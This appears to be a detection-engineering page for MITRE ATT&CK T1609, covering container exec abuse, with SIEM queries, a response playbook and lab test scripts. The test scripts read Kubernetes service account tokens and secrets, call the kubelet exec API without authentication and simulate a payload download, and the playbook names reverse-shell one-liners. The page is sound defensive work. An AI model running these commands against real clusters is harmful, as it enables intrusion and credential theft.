T1609

Container Administration Command

Execution Last updated:

This detection identifies adversaries abusing container administration services such as the Docker daemon, Kubernetes API server, or kubelet to execute commands within running containers. Attackers leverage tools like 'docker exec', 'kubectl exec', or direct kubelet API calls to achieve code execution in containerized environments, often for lateral movement, cryptomining deployment, or establishing persistence. This detection monitors process creation events on container host nodes for suspicious invocations of container management binaries with exec sub-commands, privileged flags, or interactive shell spawning, as well as anomalous kubelet API activity patterns associated with threat actors like TeamTNT and malware families including Kinsing, Hildegard, and Siloscape.

What is T1609 Container Administration Command?

Container Administration Command (T1609) maps to the Execution tactic — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for Container Administration Command, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Execution
Technique
T1609 Container Administration Command
Canonical reference
https://attack.mitre.org/techniques/T1609/
Microsoft Sentinel / Defender
kusto
let ContainerExecPatterns = dynamic(["exec", "run", "attach"]);
let SuspiciousShells = dynamic(["sh", "bash", "ash", "zsh", "/bin/sh", "/bin/bash"]);
let PrivilegedFlags = dynamic(["--privileged", "--cap-add", "--security-opt label=disable", "--pid=host", "--net=host", "--ipc=host"]);
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in~ ("docker", "kubectl", "crictl", "ctr", "nerdctl", "podman")
    or InitiatingProcessFileName in~ ("docker", "kubectl", "crictl", "ctr", "nerdctl", "podman")
| where ProcessCommandLine has_any (ContainerExecPatterns)
| extend IsInteractiveShell = ProcessCommandLine has "-it" or ProcessCommandLine has "--tty" or ProcessCommandLine has "-i "
| extend SpawnsShell = ProcessCommandLine has_any (SuspiciousShells)
| extend UsesPrivilegedFlag = ProcessCommandLine has_any (PrivilegedFlags)
| extend IsKubectlExec = FileName =~ "kubectl" and ProcessCommandLine has "exec"
| extend IsCurlKubelet = (FileName =~ "curl" or FileName =~ "wget") and 
    (ProcessCommandLine has ":10250" or ProcessCommandLine has "/exec" or ProcessCommandLine has "/run")
| extend RiskScore = toint(0)
    + iif(IsInteractiveShell, 30, 0)
    + iif(SpawnsShell, 25, 0)
    + iif(UsesPrivilegedFlag, 35, 0)
    + iif(IsKubectlExec, 20, 0)
    + iif(IsCurlKubelet, 40, 0)
    + iif(InitiatingProcessFileName in~ ("python", "python3", "ruby", "perl", "php", "node"), 30, 0)
| where RiskScore >= 25
| project
    TimeGenerated,
    DeviceName,
    AccountName,
    AccountDomain,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessParentFileName,
    IsInteractiveShell,
    SpawnsShell,
    UsesPrivilegedFlag,
    IsKubectlExec,
    IsCurlKubelet,
    RiskScore
| sort by RiskScore desc, TimeGenerated desc

Detects container administration command execution via docker exec, kubectl exec, crictl, and direct kubelet API calls on container host nodes. Scores events based on interactive shell spawning, privileged flags, scripting language parent processes, and direct kubelet API invocations (port 10250). High-score events indicate likely malicious container command execution consistent with cryptominer deployment or lateral movement.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate DevOps engineers running 'kubectl exec' or 'docker exec' for container debugging and troubleshooting during business hours
  • CI/CD pipeline agents (Jenkins, GitLab Runner, GitHub Actions self-hosted) executing docker run or kubectl exec as part of automated build, test, or deployment workflows
  • Container health check scripts or monitoring agents (Datadog, Dynatrace, Prometheus node exporter installers) that use crictl or docker exec to inspect running container state

Sigma rule & cross-platform mapping

The detection logic for Container Administration Command (T1609) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Docker Exec Interactive Shell in Running Container

    Expected signal: Sysmon EventCode=1 or Linux process creation event showing docker process with CommandLine containing 'exec -it atomic-test-container /bin/sh'. DeviceProcessEvents will show FileName=docker, ProcessCommandLine containing 'exec' and '/bin/sh'.

  2. Test 2Kubectl Exec Command Execution in Pod

    Expected signal: DeviceProcessEvents showing FileName=kubectl, ProcessCommandLine containing 'exec atomic-exec-test -- /bin/sh'. Kubernetes API server audit log entry with verb=create, objectRef.subresource=exec, objectRef.name=atomic-exec-test. Linux audit log execve records for kubectl.

  3. Test 3Direct Kubelet API Exec Bypassing API Server

    Expected signal: DeviceProcessEvents showing FileName=curl, ProcessCommandLine containing ':10250' and '/exec/' or '/pods'. Linux process creation audit records for curl with kubelet API endpoint arguments. Network connection to port 10250 in DeviceNetworkEvents.


Response Playbook

Triage

  1. Step 1: Identify the container host and user account. Determine whether the AccountName or user field corresponds to a known DevOps engineer, a CI/CD service account, or an unexpected identity. Check if the source host is a known Kubernetes node or Docker host in your asset inventory.
  2. Step 2: Examine the full ProcessCommandLine to determine what command was executed inside the container. Look specifically for: (a) shell spawning (-it /bin/bash), (b) cryptominer binaries (xmrig, minerd, kinsing), (c) reverse shell one-liners (nc, socat, bash -i >& /dev/tcp/), (d) curl/wget piped to bash for dropper execution.
  3. Step 3: Check the InitiatingProcessCommandLine and InitiatingProcessParentFileName to establish the process chain. Malicious exec calls frequently originate from web server processes (nginx, apache2, tomcat) compromised via vulnerability exploitation, or from scripting runtimes executing attacker-dropped scripts.
  4. Step 4: Correlate with DeviceNetworkEvents for the same host within ±15 minutes. Look for outbound connections to known cryptomining pools (standard ports 3333, 4444, 14444, 45700) or C2 infrastructure. Kinsing and Hildegard commonly beacon to attacker-controlled IPs on high ports after initial exec.
  5. Step 5: Determine if the target container was specified in the exec command. If a specific container name or ID is referenced, retrieve that container's image and compare against your authorized image registry allowlist. Unknown or unregistered images are a strong indicator of compromise.
  6. Step 6: If kubectl exec was used, check the Kubernetes RBAC audit log (kube-apiserver audit) for the ServiceAccount or user identity that made the API call. Determine when RBAC permissions were last granted and whether the service account has exec permissions in its ClusterRoleBinding.

Containment

  1. Immediately isolate the container using 'docker pause <container_id>' or by applying a Kubernetes NetworkPolicy that denies all ingress/egress to the affected pod. Do not kill the container immediately — preserve memory artifacts.
  2. If kubectl exec was used with a compromised service account, revoke the ServiceAccount token: 'kubectl delete secret <sa-token-secret> -n <namespace>' and remove the exec verb from any associated ClusterRole or Role bindings.
  3. For Docker environments: disable the Docker daemon's TCP socket if it is exposed on the network ('--host=tcp://0.0.0.0:2375' is unauthenticated). Restart dockerd with only the Unix socket. If TLS is not configured on the Docker API, treat the host as fully compromised.
  4. If the kubelet's anonymous authentication is enabled (/etc/kubernetes/kubelet.conf with authentication.anonymous.enabled: true), immediately disable it and restart kubelet. Port 10250 with anonymous auth allows unauthenticated exec, a common TeamTNT attack vector.
  5. Cordon and drain the affected Kubernetes node: 'kubectl cordon <node>' and 'kubectl drain <node> --ignore-daemonsets --delete-emptydir-data' to prevent new pod scheduling while investigation proceeds.

Evidence Collection

  1. Capture a memory dump of the affected container process: 'docker export <container_id> > container_snapshot.tar' to preserve filesystem state including any dropped malware binaries before remediation.
  2. Export Docker daemon logs: 'journalctl -u docker.service --since "1 hour ago" > docker_daemon.log' on Linux hosts. These logs capture all exec calls with timestamps and container IDs.
  3. Collect Kubernetes audit logs from the API server: these are typically at /var/log/kube-apiserver-audit.log or shipped to a SIEM. Filter for 'exec' and 'pod/exec' resource types around the incident timeframe to establish the full execution chain.
  4. Run 'docker inspect <container_id>' and 'docker history <image_id>' to capture full container configuration including environment variables (may contain secrets), mounted volumes, exposed ports, and layer provenance.
  5. If on Linux, collect /proc artifacts from the container's PID namespace: 'ls -la /proc/<pid>/fd' to enumerate open file descriptors, 'cat /proc/<pid>/net/tcp' for active network connections, and 'cat /proc/<pid>/maps' for loaded libraries that may indicate injected code.
  6. Extract Kubernetes event history: 'kubectl get events -n <namespace> --sort-by=.metadata.creationTimestamp' and capture RBAC audit entries from 'kubectl get clusterrolebindings -o yaml' to document the permission chain enabling the exec.

Escalation Criteria

  • ! Escalate to P1 Incident if the exec command spawned a cryptominer binary or initiated outbound connections to known mining pools — this indicates active resource hijacking consistent with Kinsing/TeamTNT TTPs.
  • ! Escalate immediately if the Docker daemon was exposed on TCP without TLS (port 2375/2376) or if the Kubernetes API server was accessed without authentication — these indicate critical infrastructure misconfiguration enabling unauthenticated remote code execution.
  • ! Escalate if lateral movement indicators are present: kubectl exec targeting multiple pods or namespaces, use of Peirates or similar Kubernetes pentesting tools, or exec activity originating from a compromised pod attempting to reach the kube-apiserver.
  • ! Escalate if the exec command accessed secrets, service account tokens (/var/run/secrets/kubernetes.io/serviceaccount/token), or environment variables containing API keys — indicates credential harvesting phase of an attack.
  • ! Escalate if the affected container is running in a privileged security context or with host path mounts — privileged containers can escape to the host node and the blast radius extends beyond the container environment.

Investigation Guide

Forensic Artifacts

  • > Docker daemon audit log: /var/log/docker.log or 'journalctl -u docker' — records all exec invocations with container ID, user, and command
  • > Kubernetes API server audit log: kube-apiserver-audit.log — records every exec request including username, ServiceAccount, namespace, pod, and container with full request body
  • > Container filesystem overlay: /var/lib/docker/overlay2/<container_id>/merged — inspect for dropped binaries, modified crontabs, or backdoor scripts
  • > Kubelet logs: /var/log/kubelet.log or 'journalctl -u kubelet' — captures exec requests routed through the kubelet API on port 10250
  • > Linux audit log: /var/log/audit/audit.log — execve syscall records capture all process creation including within container namespaces if auditd runs on the host
  • > Container process tree: /proc filesystem on the host — map container PID to host PID via /proc/<pid>/cgroup to correlate container activity with host-level process telemetry
  • > Network namespace connections: /proc/net/tcp and /proc/net/tcp6 within container namespace — identify active C2 connections established after exec

Tuning Guidance

Start by building an allowlist of authorized service accounts and user identities that legitimately use kubectl exec and docker exec in your environment. CI/CD pipeline service accounts (e.g., jenkins, gitlab-runner, github-actions) should be excluded from alerting when they operate within their designated namespaces and during business hours. Tune the risk score threshold based on your environment: raise it to 40+ in active development clusters where developer exec is common, lower it to 20 in production environments where any interactive exec should be rare. For the kubelet API hunt (port 10250), this should always be high-confidence — direct kubelet API calls bypassing the kube-apiserver are almost never legitimate in managed Kubernetes environments. Suppress alerts for known monitoring tools (Datadog Agent, Falco, Sysdig) by their process ancestry. Consider adding time-based suppression for known deployment windows when automated tooling performs container initialization via exec.


Hunting Queries

Hunts for direct kubelet API exec calls on port 10250, bypassing the kube-apiserver audit trail. This pattern is characteristic of TeamTNT's Hildegard malware and unauthenticated kubelet exploitation.

Hunting — KQL
kql
// Hunt for direct kubelet API exec calls bypassing kube-apiserver
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("curl", "wget", "python", "python3")
| where ProcessCommandLine has ":10250" 
    and (ProcessCommandLine has "/exec/" or ProcessCommandLine has "/run/" or ProcessCommandLine has "/attach/")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 OR sourcetype="linux_secure" OR sourcetype="syslog")
| eval cmd=coalesce(CommandLine, process, command)
| eval proc=coalesce(Image, process_name)
| search (proc="*curl*" OR proc="*wget*" OR proc="*python*") AND cmd="*10250*" AND (cmd="*/exec/*" OR cmd="*/run/*" OR cmd="*/attach/*")
| table _time, host, proc, cmd
| sort - _time

Hunts for cryptominer processes (Kinsing, kdevtmpfsi, xmrig) spawned inside containers following exec activity, correlated with outbound network connections to known mining pool ports. Covers post-exec cryptojacking by TeamTNT and Kinsing campaigns.

Hunting — KQL
kql
// Hunt for container exec leading to cryptominer deployment
let MinerProcesses = dynamic(["xmrig", "minerd", "kinsing", "kdevtmpfsi", "kworker", "cryptonight", "monero", "ethminer"]);
let MinerPools = dynamic(["xmr.pool", "moneropool", "pool.minexmr", "mining.pool", "hashvault", "supportxmr", "nanopool", "2miners"]);
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where ProcessCommandLine has_any (MinerProcesses)
    or FileName has_any (MinerProcesses)
| join kind=leftouter (
    DeviceNetworkEvents
    | where TimeGenerated > ago(7d)
    | where RemotePort in (3333, 4444, 14444, 45700, 5555, 8333, 9999)
        or RemoteUrl has_any (MinerPools)
    | project DeviceName, NetworkTimeGenerated=TimeGenerated, RemoteIP, RemotePort, RemoteUrl
) on DeviceName
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="linux_secure" OR sourcetype="syslog")
| eval cmd=coalesce(CommandLine, process, command)
| eval proc=coalesce(Image, process_name)
| search (proc="*xmrig*" OR proc="*kinsing*" OR proc="*kdevtmpfsi*" OR proc="*minerd*" OR cmd="*cryptonight*" OR cmd="*monero*")
| table _time, host, proc, cmd
| join type=left host [
    search index=* sourcetype="stream:ip" (dest_port=3333 OR dest_port=4444 OR dest_port=14444 OR dest_port=45700)
    | table _time, src_ip, dest_ip, dest_port
]
| sort - _time

Hunts for high-volume or multi-pod kubectl exec activity from service accounts or user identities, indicating automated lateral movement tools like Peirates or Siloscape systematically executing commands across cluster pods.

Hunting — KQL
kql
// Hunt for kubectl exec from unexpected source accounts or service accounts
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has "exec" or OperationName has "pod/exec"
| extend CallerIdentity = tostring(InitiatedBy.user.userPrincipalName)
| extend ServiceAccountName = tostring(InitiatedBy.app.displayName)
| where isnotempty(CallerIdentity) or isnotempty(ServiceAccountName)
| summarize ExecCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by CallerIdentity, ServiceAccountName, OperationName
| where ExecCount > 5
| sort by ExecCount desc
Hunting — SPL
spl
index=* sourcetype="kube:apiserver:audit" OR sourcetype="kubernetes:apiserver:audit"
| spath input=_raw
| search verb="create" objectRef.subresource="exec"
| eval caller=coalesce(user.username, serviceaccount)
| eval namespace=objectRef.namespace
| eval pod=objectRef.name
| stats count as exec_count, values(pod) as pods, dc(pod) as unique_pods by caller, namespace, _time span=1h
| where exec_count > 5 OR unique_pods > 3
| sort - exec_count

Atomic Red Team Tests

Test 1 Docker Exec Interactive Shell in Running Container
linux

Simulates an adversary using docker exec to spawn an interactive shell inside a running container, consistent with Kinsing and TeamTNT initial access patterns after compromising a Docker host.

Command

bash
# Start a test container
docker run -d --name atomic-test-container alpine:latest sleep 3600
# Execute interactive shell command (simulating adversary exec)
docker exec -it atomic-test-container /bin/sh -c 'id && hostname && cat /etc/os-release && ls /tmp'
# Simulate dropper download pattern
docker exec atomic-test-container /bin/sh -c 'curl -s -o /tmp/payload.sh http://127.0.0.1:9999/payload.sh || echo download_attempted'

Cleanup

bash
docker stop atomic-test-container && docker rm atomic-test-container

Expected Telemetry

Sysmon EventCode=1 or Linux process creation event showing docker process with CommandLine containing 'exec -it atomic-test-container /bin/sh'. DeviceProcessEvents will show FileName=docker, ProcessCommandLine containing 'exec' and '/bin/sh'.

Expected Detection

Alert should fire with RiskScore >= 55 (IsInteractiveShell=30 + SpawnsShell=25 minimum). The curl follow-up exec should generate a second alert scored at 30+ if parent is docker.

Test 2 Kubectl Exec Command Execution in Pod
linux

Simulates an adversary with kubectl access executing commands in a Kubernetes pod, as used by Peirates and Siloscape for cluster lateral movement and Hildegard for cryptominer deployment.

Command

bash
# Create a test pod
kubectl run atomic-exec-test --image=alpine:latest --restart=Never -- sleep 3600
# Wait for pod to be running
kubectl wait --for=condition=Ready pod/atomic-exec-test --timeout=60s
# Simulate adversary reconnaissance exec
kubectl exec atomic-exec-test -- /bin/sh -c 'id && cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -c1-50'
# Simulate interactive shell exec (high-risk pattern)
kubectl exec -it atomic-exec-test -- /bin/sh -c 'env | grep -i secret; ls /var/run/secrets/'

Cleanup

bash
kubectl delete pod atomic-exec-test --grace-period=0 --force

Expected Telemetry

DeviceProcessEvents showing FileName=kubectl, ProcessCommandLine containing 'exec atomic-exec-test -- /bin/sh'. Kubernetes API server audit log entry with verb=create, objectRef.subresource=exec, objectRef.name=atomic-exec-test. Linux audit log execve records for kubectl.

Expected Detection

Alert fires with RiskScore >= 45 (IsKubectlExec=20 + SpawnsShell=25). The '-it' flag variant scores >= 75 (IsKubectlExec=20 + SpawnsShell=25 + IsInteractiveShell=30). Kubernetes audit hunt query should surface the service account performing exec.

Test 3 Direct Kubelet API Exec Bypassing API Server
linux

Simulates TeamTNT and Hildegard malware technique of directly calling the kubelet API on port 10250 to execute commands in pods, bypassing the kube-apiserver audit trail — a critical detection gap in many environments.

Command

bash
# Identify a running pod on the local kubelet node
POD_NAME=$(kubectl get pods --field-selector=spec.nodeName=$(kubectl get nodes -o jsonpath='{.items[0].metadata.name}') -o jsonpath='{.items[0].metadata.name}' -n default 2>/dev/null || echo 'atomic-exec-test')
NAMESPACE=$(kubectl get pod $POD_NAME -o jsonpath='{.metadata.namespace}' 2>/dev/null || echo 'default')
# Attempt direct kubelet exec (requires kubelet anonymous auth enabled — test only in lab)
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[0].address}')
echo "[Atomic Test] Simulating kubelet API exec call"
curl -sk https://${NODE_IP}:10250/exec/${NAMESPACE}/${POD_NAME}/${POD_NAME}?command=id
# Simpler curl to kubelet endpoint to generate telemetry
curl -sk --max-time 3 https://127.0.0.1:10250/pods 2>&1 | head -5 || echo "kubelet_api_probe_attempted"

Cleanup

bash
echo 'No persistent changes made by this test'

Expected Telemetry

DeviceProcessEvents showing FileName=curl, ProcessCommandLine containing ':10250' and '/exec/' or '/pods'. Linux process creation audit records for curl with kubelet API endpoint arguments. Network connection to port 10250 in DeviceNetworkEvents.

Expected Detection

Kubelet API hunt query fires immediately. IsCurlKubelet flag triggers RiskScore += 40, breaching threshold regardless of other factors. This should be treated as a critical alert even without additional indicators given the rarity of legitimate direct kubelet API calls.

Related Detections

Tactic Hub